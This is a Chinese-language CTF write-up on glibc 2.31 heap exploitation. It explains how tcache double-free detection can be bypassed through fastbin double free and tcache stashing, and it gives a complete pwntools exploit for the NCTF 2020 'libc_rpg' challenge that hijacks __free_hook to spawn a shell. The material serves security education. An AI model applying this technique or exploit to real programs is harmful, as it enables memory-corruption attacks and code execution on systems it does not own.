zoukankan      html  css  js  c++  java
  • glibc2.31下构造Double Free的新思路

    ​ 在libc2.26之后,tcache的到来让堆管理的效率大幅提高,同时也带来的一定的安全隐患,例如tcache dup可以随意的构造double free

    ​ 在libc2.29更新之后,tcache对此问题进行了一些修改,更改了tcache中的entry结构体

    new tcache entry

    typedef struct tcache_entry
    {
      struct tcache_entry *next;  //
      /* This field exists to detect double frees.  */
      struct tcache_perthread_struct *key;  // newly pointer in struct
    } tcache_entry;
    

    tcache_put in glibc 2.31

    //tcache_put will  set tcache_entry->key = tcache
    tcache_put(mchunkptr chunk, size_t tc_idx)
    {
      tcache_entry *e = (tcache_entry *)chunk2mem(chunk);
      /* Mark this chunk as "in the tcache" so the test in _int_free will
         detect a double free.  */
      e->key = tcache;  // set e->key = tcache this is not exist in libc-2.27
      e->next = tcache->entries[tc_idx];
      tcache->entries[tc_idx] = e;  
      ++(tcache->counts[tc_idx]); 
    }
    

    double free check in free()

    int free()
    {
        size_t tc_idx = csize2tidx (size);
        if (tcache != NULL && tc_idx < mp_.tcache_bins)
          {
        /* Check to see if it's already in the tcache.  */
        tcache_entry *e = (tcache_entry *) chunk2mem (p);
    
        /* This test succeeds on double free.  However, we don't 100%
           trust it (it also matches random payload data at a 1 in
           2^<size_t> chance), so verify it's not an unlikely
           coincidence before aborting.  */
        if (__glibc_unlikely (e->key == tcache))
          {
            tcache_entry *tmp;
            LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
            for (tmp = tcache->entries[tc_idx];
             tmp;
             tmp = tmp->next)
              if (tmp == e)
            malloc_printerr ("free(): double free detected in tcache 2");
            /* If we get here, it was a coincidence.  We've wasted a
               few cycles, but don't abort.  */
          }
    
        if (tcache->counts[tc_idx] < mp_.tcache_count)
          {
            tcache_put (p, tc_idx);
            return;
          }
          }
      }
    

    About Tcache Stash in source code

    if ((unsigned long)(nb) <= (unsigned long)(get_max_fast())) //size beyond fast chunk
      {
        idx = fastbin_index(nb);
        mfastbinptr *fb = &fastbin(av, idx);
        mchunkptr pp;
        victim = *fb;
     
        if (victim != NULL) //如果有chunk
        {
          if (SINGLE_THREAD_P)
            *fb = victim->fd; //取出头chunk
          else
            REMOVE_FB(fb, pp, victim);
     
          if (__glibc_likely(victim != NULL)) 
          {
            size_t victim_idx = fastbin_index(chunksize(victim));
            if (__builtin_expect(victim_idx != idx, 0)) //对fastbin的size检查
              malloc_printerr("malloc(): memory corruption (fast)");
            check_remalloced_chunk(av, victim, nb);
     
    #if 1 //if USE_TCACHE,Stash过程:把剩下的放入Tcache中
            /* While we're here, if we see other chunks of the same size,
             stash them in the tcache.  */
            size_t tc_idx = csize2tidx(nb);
            if (tcache && tc_idx < mp_.tcache_bins) //如果属于tcache管辖范围
            {
              mchunkptr tc_victim;
     
              /* While bin not empty and tcache not full, copy chunks.  */
              while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = *fb) != NULL) //只要tcache没空,并且fastbin还有chunk
              {
                if (SINGLE_THREAD_P)  //那么就从fastbin中取出
                  *fb = tc_victim->fd;
                else
                {
                  REMOVE_FB(fb, pp, tc_victim);
                  if (__glibc_unlikely(tc_victim == NULL))
                    break;
                }
                tcache_put(tc_victim, tc_idx);//然后放入tcache中
              }
            }
    #endif
            void *p = chunk2mem(victim);
            alloc_perturb(p, bytes);
            return p;
          }
        }
      }
    

    ​ 在我们申请堆块的时候(size<max_fast),如果系统在tcache中没有找到对应的bin,但是在其他的bin中拿到了对应的chunk,则系统会认为此类的chunk十分需要,则会将该大小的chunk都移入对应的tcache bin

    例如: 申请size为0x60的堆,在tcache中没找到,但是在其他的bin中找到了,ptmalloc就会把其他bin中的堆块放入tcache

    fastbin double free

    前面提到,tcache中由于key的存在,难以构造double free,但是fastbin中不存在这个问题

    在常规的double free中

    free(a);
    free(b);
    free(a);
    fastbin:a->b->a
    

    在2.31中的思路是,先把tcache填满,

    tcache bin:p1 -> p2 -> p3 -> p4 -> p5 -> p6 -> p7
    fastbin:p8 -> p9 -> p8
    

    再把tcache清干净

    tcache bin:null
    fastbin : p8 -> p9 -> p8(double free)
    

    然后malloc chunk 并写入fd

    tcache: p9 -> p8 -> target address
    

    这样就完成了在tcache double free 受限的情况下,达成了tcache poseing 的效果 与fastbin attack相比没有了size位的限制,达成了任意地址写

    nctf 2020 libc_rpg

    这里以nctf 2020的libc_rpg为例,此题当时0解,赛后复现研究一下,感觉蛮好玩的
    有兴趣的师傅可以下载附件来玩一下
    附件下载:链接:https://pan.baidu.com/s/1cljEsI2jjL-JNYjv6Zuxtw 提取码:s0zd
    复制这段内容后打开百度网盘手机App,操作更方便哦
    程序分析

    这个程序是用C++写的,我逆向的过程有些曲折,我的C++太菜了

    大概就是模拟了一个rpg游戏

    • create your file 创建存档
    • copy your file 复制存档
    • delete your file 删除存档
    • start your game 以某个存档的数据开始游戏

    程序分析:

    • challeng native libc 打赢了加10块钱
    • challenge old libc 有weapon之后打赢 可以new 0x20的堆,可以写入东西
    • weapon 给你换个新的0x20 weapon为空就没办法challenge,会直接打不过,但是weapon要很多钱,所以用bet刷钱
    • rest 恢复体力,没体力打不了libc
    • bet 猜数字,和随机数一样就能价钱,输了会扣钱,可以输负数,输了就变成加钱
      v2 = std::operator<<<std::char_traits<char>>(&std::cout, "how much you will pay?");
      std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
      std::istream::operator>>(&std::cin, &choice);
      if ( *(a2 + 24) < choice )
      {
        std::operator<<<std::char_traits<char>>(&std::cout, "go out ,poor bastard!
    ");
        sub_13D9();
      }
      std::operator<<<std::char_traits<char>>(&std::cout, "hmmm,but i think you will never win,:(
    ");
      HIDWORD(choice) = rand_1(&std::cout, "hmmm,but i think you will never win,:(
    ") % 6;
      if ( HIDWORD(choice) == 6 )
      {
        std::operator<<<std::char_traits<char>>(&std::cout, "wtf???");
        *(a2 + 24) = 0x10000;
      }
      else
      {
        std::operator<<<std::char_traits<char>>(&std::cout, "hhh,you lose!=w=
    ");
        *(a2 + 24) -= choice;                       // input num < 0 , add money
      }
      return __readfsqword(0x28u) ^ v5;
    
    • copy your file 的时候虽然申请多了一个0x28的堆,但是程序把最后的指针也给copy过去了,导致uaf(这个uaf比较隐蔽)
    result->weapon = (*(&a2_1 - 2))->weapon;      // uaf
    最后在本地进行的复现,复现环境为libc-2.31,以下exp在本地环境下可以拿shell
    

    exp:

    from pwn import *
    p=process('./pwn')
    elf=ELF('./pwn')
    #context.log_level = 'debug'
    libc=ELF('./libc-2.31.so')
    def newusr():
        p.sendlineafter('>>','1')
        p.sendline('1')# choose your character
    def cpusr(idx1,idx2):#copy idx1 => idx2
        p.sendlineafter('>>','2')
        p.sendlineafter('idx 1',str(idx1))
        p.sendlineafter('idx 2',str(idx2))
    def delusr(idx):#delete file
        p.sendlineafter('>>','3')
        p.sendlineafter('idx',str(idx))
    def startgame(idx):
        p.sendlineafter('>>','4')
        p.sendlineafter(' file>>',str(idx))
    def bet(num):
        p.sendlineafter('>>','3')
        p.sendlineafter('how much you will pay?',str(num))
    def weapon(): # buy weapon
        p.sendlineafter('>>','5')
    def myweapon(content):
        p.sendlineafter('>>','2')
        p.sendlineafter('>>','2')
        p.sendafter(' weapon
    ',content)
    def show():
        p.sendlineafter('>>','6')
    def exit_game():# exit game
        p.sendlineafter('>>','7')
    def rest():
        p.sendlineafter('>>','4')
    
    p.recvuntil('0x')
    leak=int(p.recv(12),16)
    log.info('printf_libc:	'+hex(leak))
    libc_base=leak-libc.symbols['printf']
    log.info('libc_base:	'+hex(libc_base))
    for i in range(9):#0-8 file
        newusr()
        startgame(i)
        bet(-0x100000)
        weapon()
        exit_game()
    for i in range(7): # free 0-6
        delusr(i)
    cpusr(7,9)
    cpusr(7,10)
    delusr(10)
    delusr(8)
    delusr(9)
    startgame(7)
    for i in range(7):
        myweapon('ptrptr')
        rest()
    #stash fastbin => tcache bin
    #gdb.attach(p)
    free_hook = libc_base+libc.symbols['__free_hook']
    system = libc_base+libc.symbols['system']
    myweapon(p64(free_hook))
    rest()
    #gdb.attach(p)
    myweapon('ptrptr')
    rest()
    #gdb.attach(p)
    myweapon('ptrptr')
    rest()
    #gdb.attach(p)
    myweapon(p64(system))
    rest()
    myweapon('/bin/shx00')
    exit_game()
    delusr(7)#free 
    p.interactive()
    

    参考链接:

  • 相关阅读:
    SVN 使用锁实现独占式签出
    浏览器console中加入jquery方便调试
    nuget安装说明
    sql server 索引优化
    Windwos Server 2016 远程桌面授权
    tomcat的安装与配置
    业务监控
    敏捷话管理团队
    一键搞定多服务器的更新
    迁移历史sql数据
  • 原文地址:https://www.cnblogs.com/z2yh/p/14045725.html
Copyright © 2011-2022 走看看